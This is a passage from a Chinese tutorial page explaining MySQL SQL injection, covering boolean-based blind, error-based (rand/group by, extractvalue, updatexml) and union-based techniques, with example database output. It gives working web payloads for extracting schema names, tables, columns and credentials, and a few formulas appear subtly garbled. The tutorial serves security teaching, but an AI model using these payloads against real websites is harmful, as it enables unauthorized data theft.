SQL注入详解扫盲

发表于:2017-1-12 10:56

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:渔人    来源:51Testing软件测试网采编

分享:
  下面对三种主要的注入类型进行介绍。
  Boolean-based 原理分析
  首先不得不讲SQL中的AND和OR
  AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
  AND:返回第一个条件和第二个条件都成立的记录。
  OR:返回满足第一个条件或第二个条件的记录。
  AND和OR即为集合论中的交集和并集。
  下面是一个数据库的查询内容。
  mysql> select * from students;
  +-------+-------+-----+
  | id    | name  | age |
  +-------+-------+-----+
  | 10056 | Doris |  20 |
  | 10058 | Jaune |  22 |
  | 10060 | Alisa |  29 |
  +-------+-------+-----+
  3 rows in set (0.00 sec)
  1)
  mysql> select * from students where TRUE ;
  +-------+-------+-----+
  | id    | name  | age |
  +-------+-------+-----+
  | 10056 | Doris |  20 |
  | 10058 | Jaune |  22 |
  | 10060 | Alisa |  29 |
  +-------+-------+-----+
  3 rows in set (0.00 sec)
  2)
  mysql> select * from students where FALSE ;
  Empty set (0.00 sec)
  3)
  mysql> SELECT * from students where id = 10056 and TRUE ;
  +-------+-------+-----+
  | id    | name  | age |
  +-------+-------+-----+
  | 10056 | Doris |  20 |
  +-------+-------+-----+
  1 row in set (0.00 sec)
  4)
  mysql> select * from students where id = 10056 and FALSE ;
  Empty set (0.00 sec)
  5)
  mysql> selcet * from students where id = 10056 or TRUE ;
  +-------+-------+-----+
  | id    | name  | age |
  +-------+-------+-----+
  | 10056 | Doris |  20 |
  | 10058 | Jaune |  22 |
  | 10060 | Alisa |  29 |
  +-------+-------+-----+
  3 rows in set (0.00 sec)
  6)
  mysql> select * from students where id = 10056 or FALSE ;
  +-------+-------+-----+
  | id    | name  | age |
  +-------+-------+-----+
  | 10056 | Doris |  20 |
  +-------+-------+-----+
  1 row in set (0.00 sec)
  会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种。
  这便是最基础的boolean注入,以此为基础你可以自由组合语句。
  字典爆破流
  and exists(select * from ?)     //?为猜测的表名
  and exists(select ? from x)     //?为猜测的列名
  截取二分流
  and (length((select schema_name from information_schema.schemata limit 1))>?)       //判断数据库名的长度
  and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
  and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判断第一个字符
  Boolean-based总结
  根据前面的介绍,我们知道,对于基于Boolean-based的注入,必须要有一个可以正常访问的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜测。先来判断一个关键字keyword的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器我们会得到一个返回值,如果和先前的返回值不一样,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15。
  为什么我们刚开始一定要找一个已经存在的id,其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西。
  对于keyword的值,mysql数据库可以使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) =’A’,依此类推,就可以获得keyword的在数据库中的值。
  Boolean-based的效率很低,需要多个请求才能确定一个值,尽管这种代价可以通过脚本来完成,在有选择的情况下,我们会优先选择其他方式。
  Error Based 原理分析
  关于错误回显
  基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上。
  所用到的函数
  count() 统计元祖的个数(相当于求和)
  如select count(*) from information_schema.tables;
  rand()用于产生一个0~1的随机数
  floor()向下取整
  group by 依据我们想要的规矩对结果进行分组
  concat将符合条件的同一列中的不同行数据拼接,以逗号隔开
  用于错误回显的sql语句
  第一种: 基于 rand() 与 group by 的错误
  利用group by part of rand() returns duplicate key error这个bug,关于rand()函数与group by 在mysql中的错误报告如下:
  RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
  You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
  这个bug会爆出duplicate key这个错误,然后顺便就把数据偷到了。
  公式:username=admin’ and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1’ = ‘1
  第二种: XPATH爆信息
  这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后使用
  查看sql手册
  语法:EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  作用:从目标XML中返回包含所查询值的字符串
  语法:UPDATEXML (XML_document, XPath_string, new_value);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  第三个参数:new_value,String格式,替换查找到的符合条件的数据
  作用:改变文档中符合条件的节点的值
  现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用
  公式1:username=admin’ and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1’=’1
  公式2:username=admin’ and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1’=’1
  基于错误回显的注入,总结起来就一句话,通过sql语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,导致基于错误的注入偷数据的效率并没有那么高,但相对于布尔注入已经提高了一个档次。
  union query injection
  要了解union query injection,首先得了解union查询,union用于合并两个或更多个select的结果集。比如说
  SELECT username, password FROM account
  UNION
  SELECT id, title FROM article
  的结果就是
  admin 123456
  1 Hello, World
  比起多重嵌套的boolean注入,union注入相对轻松。因为,union注入可以直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一起,所有要让union前面的查询返回一个空值,一般采用类似于id=-1的方式。
  1)
  mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //数据库名
  +--------------------+
  | name               |
  +--------------------+
  | information_schema |
  | mysql              |
  | performance_schema |
  | rumRaisin          |
  | t3st               |
  | test               |
  +--------------------+
  6 rows in set (0.00 sec)
  2)
  mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名
  +----------+
  | name     |
  +----------+
  | master   |
  | students |
  +----------+
  2   rows in set (0.00 sec)
  3)
  mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名
  +------+
  | name |
  +------+
  | id   |
  | name |
  | age  |
  +------+
  3 rows in set (0.00 sec)
  UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
  举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引起报错。
  所以你如果想要使用union查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户。
  猜测列数
  -1 union select 1
  -1 union select 1,2
  -1 union select 1,2,3
  //直到页面正常显示
  比如这条语句
  -1 UNION SELECT 1,2,3,4
  如果显示的值为3和4,表示该查询结果中有四列,并且第三列和第四列是有用的。则相应的构造union语句如下
  -1 UNION SELECT 1,2,username,password FROM table
  小结一下
  SQL 注入大概有5种,还有两种分别是 Stacked_queries(基于堆栈)和 Time-based blind(时间延迟),堆栈就是多语句查询,用 ‘;’ 把语句隔开,和 union 一样;时间延迟就是利用 sleep() 函数让数据库延迟执行,偷数据的速度很慢。(还有一个第六种,内联注入,但和前面涉及的内容有所重叠,就不单独来讨论了)
  引用说明,自己之前研究 SQL 注入的时候,也是一点一点摸索的,本博客的大部分内容是来自于公司内网的服务器中(公司定期考核,看你都干了什么)。当时因为是内网,就没有做引用,现在想找到这些引用的文章也很困难,见谅。
22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号